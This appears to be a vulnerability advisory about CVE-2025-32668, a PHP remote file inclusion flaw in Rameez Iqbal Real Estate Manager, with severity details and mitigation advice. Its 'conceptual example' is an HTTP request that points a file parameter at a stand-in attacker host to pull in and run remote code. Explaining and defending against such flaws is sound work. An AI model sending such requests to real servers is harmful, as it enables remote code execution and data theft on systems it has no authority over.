CVE-2025-32668: Critical PHP Remote File Inclusion Vulnerability in Rameez Iqbal Real Estate Manager

Overview

In the ever-evolving world of cybersecurity, the discovery of new vulnerabilities is a regular occurrence. Recently, a critical security flaw has come into the spotlight, identified as CVE-2025-32668. It affects PHP programs, particularly the Rameez Iqbal Real Estate Manager, a popular software tool employed by real estate professionals globally. The vulnerability lies in the improper control of filename for Include/Require statement in PHP Program, also known as PHP Remote File Inclusion. This vulnerability is highly significant due to the potential system compromise and data leakage it may cause.

Vulnerability Summary

CVE ID: CVE-2025-32668
Severity: Critical (8.1)
Attack Vector: Remote
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Rameez Iqbal Real Estate Manager | n/a through 7.3

How the Exploit Works

The PHP Remote File Inclusion vulnerability arises due to improper control of filename for Include/Require statement in PHP programs. This essentially allows an attacker to include a file from a remote server, which can contain malicious code. The code can then be executed in the server-side context, potentially leading to unauthorized access, data leakage, or even total system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability could be exploited. An attacker could craft a malicious payload and include it in the request to the vulnerable PHP script.

POST /vulnerable/endpoint.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "malicious_payload": "..." }

In this example, the `file` parameter in the URL is used to include a malicious file hosted on the attacker’s server (`attacker.com`). This file is then executed on the server side, leading to potential system compromise or data leakage.

Mitigation

The simplest and most effective way to mitigate this vulnerability is to apply the vendor patch. For those users who cannot apply the patch immediately, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. However, these are temporary solutions and updating to the patched version of the software as soon as possible is strongly recommended.